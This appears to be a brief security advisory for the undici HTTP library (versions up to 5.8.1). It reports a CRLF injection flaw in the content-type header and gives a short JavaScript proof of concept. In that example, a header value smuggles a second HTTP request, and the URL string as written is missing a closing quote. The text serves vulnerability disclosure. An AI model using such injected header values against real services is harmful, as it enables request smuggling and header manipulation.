undici up to and including 5.8.1 is vulnerable to CRLF (Carriage Return / Line Feed) Injection on headers when using unsanitized input as request headers, specifically inside the `content-type` header.

Example: 
import { request } from 'undici'

const unsanitizedContentTypeInput =  'application/json\r\n\r\nGET /foo2 HTTP/1.1'

await request('http://localhost:3000, {
    method: 'GET',
    headers: {
      'content-type': unsanitizedContentTypeInput
    },
})